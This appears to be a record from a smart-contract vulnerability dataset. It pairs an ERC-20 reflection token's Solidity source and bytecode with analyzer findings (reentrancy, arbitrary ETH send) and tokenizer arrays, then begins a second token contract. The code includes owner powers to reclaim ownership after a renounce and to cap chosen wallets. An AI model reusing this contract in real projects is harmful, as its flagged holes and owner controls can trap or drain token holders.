_owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp < _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract RUKToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; event Log(string, uint256); mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedFromWhale; mapping (address => bool) private _isSniper; mapping (address => bool) private _liquidityHolders; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1_000_000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "UEFA"; string private _symbol = "UEFA"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 1; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 3; uint256 private _previousMarketingFee = _marketingFee; uint256 public _devFee = 3; uint256 private _previousDevFee = _devFee; uint256 public swapbackDivisor = 3; uint256 public _saleTaxBurnFee = 2; uint256 public _saleLiquidityFee = 2; uint256 public _saleMarketingFee = 4; uint256 public _saleDevFee = 4; bool private sniperProtection = false; bool public _hasLiqBeenAdded = false; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private gasLimitActive = true; uint256 private gasPriceLimit = 6 gwei; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; address payable public marketingWallet = payable(0x3BF306FF85b1b7130B86fD25C68D698FA24D4Dd4); address payable private devWallet = payable(0xA6a72E843a1559B4F9e76D009871f4d169aC57C8); address public burnAddress = 0x000000000000000000000000000000000000dEaD; IDEXRouter public swapRouter; address public lpPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 public _maxSaleLimit = 1_000_000 * 10**18; //1% uint256 public _maxBuyLimit = 5_000_000 * 10**18; //2% uint256 private numTokensSellToAddToLiquidity = 1000 * 10**18; uint256 public maxLimit = 10_000_000 * 10**18; //max allowed tokens in one wallet. mapping (address => uint256) public walletLimit; mapping (address => bool) public walletLimited; uint256 public upperLimit = 34; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IDEXRouter _swapRouter = IDEXRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); lpPair = IDEXFactory(_swapRouter.factory()).createPair( address(this), _swapRouter.WETH() ); swapRouter = _swapRouter; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _liquidityHolders[owner()] = true; // exclude from whales or having max tokens limit _isExcludedFromWhale[owner()] = true; _isExcludedFromWhale[address(this)] = true; _isExcludedFromWhale[address(0)] = true; _isExcludedFromWhale[marketingWallet] = true; _isExcludedFromWhale[devWallet] = true; _isExcludedFromWhale[lpPair] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; _devFee = 0; } function setSaleFee() private { _taxFee = _saleTaxBurnFee; _liquidityFee = _saleLiquidityFee; _marketingFee = _saleMarketingFee; _devFee = _saleDevFee; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; _devFee = _previousDevFee; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function isSniper(address account) public view returns (bool) { return _isSniper[account]; } function removeSniper(address account) external onlyOwner() { require(_isSniper[account], "Account is not a recorded sniper."); _isSniper[account] = false; } function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; gasLimitActive = antiGas; sameBlockActive = antiBlock; } function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{ require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded); snipeBlockAmt = _block; gasPriceLimit = _gas * 1 gwei; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); if(recipient == lpPair){ // sale _takeBurn(sender,tFee); }else{ _reflectFee(rFee, tFee); } emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee.add(_marketingFee).add(_devFee)).div(100); } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != burnAddress && to != address(0) && from != address(this); } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { if (snipeBlockAmt == 0 || snipeBlockAmt > 5) { _liqAddBlock = block.number + 500; } else { _liqAddBlock = block.number; } _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function _transfer( address from, address to, uint256 amount ) private { if(_hasLimits(from, to)) { if (sameBlockActive) { if (lpPair == from){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } } if (gasLimitActive) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != lpPair && swapAndLiquifyEnabled ) { shouldSwapBack(); contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } _tokenTransfer(from, to, amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 allFee = _liquidityFee.add(_marketingFee).add(_devFee); uint256 halfLiquidityTokens = contractTokenBalance .div(allFee) .mul(_liquidityFee - swapbackDivisor) .div(2); uint256 swapableTokens = contractTokenBalance.sub(halfLiquidityTokens); uint256 initialBalance = address(this).balance; swapTokensForEth(swapableTokens); uint256 newBalance = address(this).balance.sub(initialBalance); uint256 ethForLiquidity = newBalance .div(allFee) .mul(_liquidityFee - swapbackDivisor) .div(2); if (ethForLiquidity > 0) { addLiquidity(halfLiquidityTokens, ethForLiquidity); emit SwapAndLiquify( halfLiquidityTokens, ethForLiquidity, halfLiquidityTokens ); } marketingWallet.transfer(newBalance.div(allFee).mul(_marketingFee)); devWallet.transfer(newBalance.div(allFee).mul(_devFee)); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = swapRouter.WETH(); _approve(address(this), address(swapRouter), tokenAmount); swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(swapRouter), tokenAmount); swapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { uint256 tfrAmount = amount; if (sniperProtection){ if (isSniper(sender) || isSniper(recipient)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(sender, recipient); if (!_hasLiqBeenAdded && _hasLimits(sender, recipient)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPair == sender && _hasLimits(sender, recipient) ) { if (block.number < snipeBlockAmt + _liqAddBlock) { _isSniper[recipient] = true; snipersCaught ++; emit SniperCaught(recipient); } } } } if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { removeAllFee(); } else { if (recipient == lpPair) { require( amount <= _maxSaleLimit, "Transfer amount exceeds the maxTxAmount." ); setSaleFee(); } else { require( amount <= _maxBuyLimit, "Transfer amount exceeds the maxTxAmount." ); } } uint256 newBalance = balanceOf(recipient).add(tfrAmount); if (!_isExcludedFromWhale[sender] && !_isExcludedFromWhale[recipient]) { require( newBalance <= maxLimit, "Exceeding max tokens limit in the wallet" ); } if(walletLimited[recipient]){ require( newBalance <= walletLimit[recipient], "Exceeding max tokens limit in the wallet individually" ); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } restoreAllFee(); } function _takeBurn(address sender, uint256 tBurn) private { uint256 currentRate = _getRate(); uint256 rBurn = tBurn * currentRate; _rOwned[burnAddress] = _rOwned[burnAddress] + rBurn; if(_isExcluded[burnAddress]) _tOwned[burnAddress] = _tOwned[burnAddress] + tBurn; emit Transfer(sender, burnAddress, tBurn); // Transparency is the key to success. } function manualBurn(uint256 burnAmount) public onlyOwner { removeAllFee(); _transferStandard(owner(), burnAddress, burnAmount); restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); if(recipient == lpPair){ // sale _takeBurn(sender,tFee); }else{ _reflectFee(rFee, tFee); } emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); if(recipient == lpPair){ // sale _takeBurn(sender,tFee); }else{ _reflectFee(rFee, tFee); } emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); if(recipient == lpPair){ // sale _takeBurn(sender,tFee); }else{ _reflectFee(rFee, tFee); } emit Transfer(sender, recipient, tTransferAmount); } function setExcludedFromFee(address account, bool _enabled) public onlyOwner { _isExcludedFromFee[account] = _enabled; } function setExcludedFromWhale(address account, bool _enabled) public onlyOwner { _isExcludedFromWhale[account] = _enabled; } function setMarketingAddress(address newWallet) external onlyOwner { marketingWallet = payable(newWallet); } function setDevAddress(address newWallet) external onlyOwner { devWallet = payable(newWallet); } function setMaxSaleLimit(uint256 amount) external onlyOwner { _maxSaleLimit = amount; } function setSwapBackDivisor(uint256 amount) external onlyOwner { swapbackDivisor = amount; } function setMaxBuyLimit(uint256 amount) external onlyOwner { _maxBuyLimit = amount; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setNumTokensSellToAddToLiquidity(uint256 amount) public onlyOwner { numTokensSellToAddToLiquidity = amount; emit Log("NumTokensSellToAddToLiquidity changed", amount); } function setMaxWalletLimit(uint256 amount) public onlyOwner { maxLimit = amount; } function setIndividualLimit(address user,uint256 amount) public onlyOwner { require(_rTotal.mul(upperLimit).div(100) >= amount,"Big limit value"); walletLimit[user] = amount; walletLimited[user] = true; } function setIndividualLimitRemove(address user) public onlyOwner { require(walletLimited[user],"Already removed"); walletLimited[user] = false; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} event SwapETHForTokens(uint256 amountIn, address[] path); uint256 private swapBackUpperLimit = 1 * 10**18; bool public swapBackEnabled = true; event SwapBackEnabledUpdated(bool enabled); function swapBackUpperLimitAmount() public view returns (uint256) { return swapBackUpperLimit; } function swapBack(uint256 amount) private lockTheSwap { if (amount > 0) { swapETHForTokens(amount); } } function shouldSwapBack() private lockTheSwap { uint256 balance = address(this).balance; if (swapBackEnabled && balance > uint256(1 * 10**18)) { if (balance > swapBackUpperLimit) { balance = swapBackUpperLimit; } swapBack(balance.div(100)); } } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = swapRouter.WETH(); path[1] = address(this); // make the swap swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }( 0, // accept any amount of Tokens path, burnAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function setBuybackUpperLimit(uint256 swapBackLimit) external onlyOwner { swapBackUpperLimit = swapBackLimit * 10**18; } function setBuyBackEnabled(bool _enabled) public onlyOwner { swapBackEnabled = _enabled; emit SwapBackEnabledUpdated(_enabled); } function manualSwapBack(uint256 amount) external onlyOwner { swapBack(amount * 10**15); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c8063715018a6146100675780638da5cb5b14610071578063a69df4b514610091578063b6c5232414610099578063dd467064146100aa578063f2fde38b146100bd575b600080fd5b61006f6100d0565b005b6000546040516001600160a01b0390911681526020015b60405180910390f35b61006f61013b565b600254604051908152602001610088565b61006f6100b83660046103cc565b610241565b61006f6100cb36600461039e565b6102c6565b6000546001600160a01b031633146101035760405162461bcd60e51b81526004016100fa906103e4565b60405180910390fd5b600080546040516001600160a01b039091169060008051602061043e833981519152908390a3600080546001600160a01b0319169055565b6001546001600160a01b031633146101a15760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b60648201526084016100fa565b60025442106101f25760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c203720646179730060448201526064016100fa565b600154600080546040516001600160a01b03938416939091169160008051602061043e83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b0316331461026b5760405162461bcd60e51b81526004016100fa906103e4565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561029a8142610419565b600255600080546040516001600160a01b039091169060008051602061043e833981519152908390a350565b6000546001600160a01b031633146102f05760405162461bcd60e51b81526004016100fa906103e4565b6001600160a01b0381166103555760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016100fa565b600080546040516001600160a01b038085169392169160008051602061043e83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000602082840312156103af578081fd5b81356001600160a01b03811681146103c5578182fd5b9392505050565b6000602082840312156103dd578081fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561043857634e487b7160e01b81526011600452602481fd5b50019056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a26469706673582212209f9634900f04493faf72b4ab76d2ec13a283cc1a9a320736892c44175096371764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 20952, 2629, 2094, 22907, 2575, 25031, 22932, 2497, 2094, 2683, 19841, 27717, 8586, 2575, 24594, 2546, 2620, 2683, 25746, 2509, 2497, 2692, 2620, 24434, 2278, 2487, 2094, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 23533, 29378, 1012, 4012, 2006, 16798, 2475, 1011, 6021, 1011, 6185, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,882
0x95df602f42b68c774f762b503981f62a1577b5ad
// SPDX-License-Identifier: Unlicensed /* FIITLAB Website: https://www.fiitlab.com Telegram: https://t.me/fiitlab */ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev 